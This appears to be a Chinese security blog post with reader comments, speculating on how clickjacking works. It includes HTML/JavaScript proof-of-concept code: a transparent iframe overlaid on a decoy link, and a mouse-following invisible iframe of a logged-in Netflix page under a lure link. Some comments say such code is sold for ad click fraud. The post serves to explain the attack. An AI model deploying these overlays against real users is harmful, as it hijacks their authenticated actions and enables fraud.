Clickjacking猜想
作者:Monyer
最初看到有Clickjacking这个东西还是在大风那里,被人说的玄天玄地的,也不知道到底是个怎么样的东西。今天又看到一个demo,也不知道是真是假。但如果是真的,那么Clickjacking应该是这样一个东西:
在一个页面通过iframe载入目标页面——这个目标页面所在的网站应该处于登陆状态。然后通过透明度来隐藏该iframe,并使z轴处于顶上,最 后在希望用户点击该iframe的位置的地方(z轴比iframe小),放一个按钮或连接。用户认为自己是在点击按钮或连接,实际上是点击了iframe 中的相关操作。用代码的表现如下:
<a href="http://www.google.com/" style="position:absolute; left:265px; top:145px ;z-index:1">monyer</a>
<iframe src="http://www.baidu.com/" scrolling="no" frameborder="0" width="100%" height="300px" style="position:absolute;left:0px;top:0px;z-index:2;opacity:.1;filter: alpha(opacity=10); -moz-opacity: 0.1;"></iframe>
这个也就是所谓的不需要任何脚本的,所以禁用脚本没用,但当然如果你不禁用脚本,攻击起来可能更方便些:
用一浮动层载iframe,然后这个iframe的尺寸绝对小并通过滚动条的控制来保留必要连接,然后做层跟踪鼠标的移动,使得必要连接始终处于鼠标正下方,这样用户的任何点击都会导致攻击的产生。
demo的代码如下:
<a style="position:absolute; left:850; top:620" href="http://cnn.com">click here for lindsay lohan nudes</a>
<SCRIPT type="text/javascript">
if (document.getElementById || document.all)
document.write('<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:100px;height:100px"><IFRAME id="ifra" SRC="http://www.netflix.com/MemberHome" scrolling=no frameborder=0 width="100" height="100" style="opacity:.1;filter: alpha(opacity=1); -moz-opacity: 0.1;"></iframe></div>')
function gettrailobj(){
if (document.getElementById)
return document.getElementById("trailimageid").style
else if (document.all)
return document.all.trailimagid.style
}
function truebody(){
return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function followmouse(e){
var xcoord= 0
var ycoord= 0
if (typeof e != "undefined"){
xcoord+=e.pageX - 50
ycoord+=e.pageY - 50
} else if (typeof window.event !="undefined"){
xcoord+=truebody().scrollLeft+event.clientX
ycoord+=truebody().scrollTop+event.clientY
}
var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
if (xcoord+50+3>docwidth || ycoord+50> docheight)
gettrailobj().display="none"
else
gettrailobj().display=""
gettrailobj().left=xcoord+"px"
gettrailobj().top=ycoord+"px"
}
document.onmousemove=followmouse
</SCRIPT>
不过这个demo写得显然不够完美,有很多的错误。
但不知道Clickjacking事实是否如此,以上仅仅是Monyer个人的一点猜想。但即便不是如此,那么这种攻击方式也是很可行了,而且对于 防御xsrf而使用的token可以完美地绕过,因为就是正常的点击嘛。但跟xsrf不同的是,目标网站几乎是无法进行防御阻止的。(maybe no iframe)
Monyer !
也去呢…是用css也能做到…
都是屏蓋著button呢…..
但有點奇怪…
好像看文章見到它是指 去了其他網站仍能生效喔…
用这种方法在做GG点击作B的人很多,代码还卖几十块钱一套!
老兄你才知道啊!
丢个地址出来..
http://404.wairi.cn/
感觉下呵呵…
额
攻击网站很可行哦……
可以一直循环….
有连接的站点就一直破坏 一直攻击……
屏蓋著button
css可以达到这样的效果
但是效果不一样
一些免费小说网站的广告早就采用了这种方法
所谓的漏洞, 最早居然是起源于广告的欺骗点击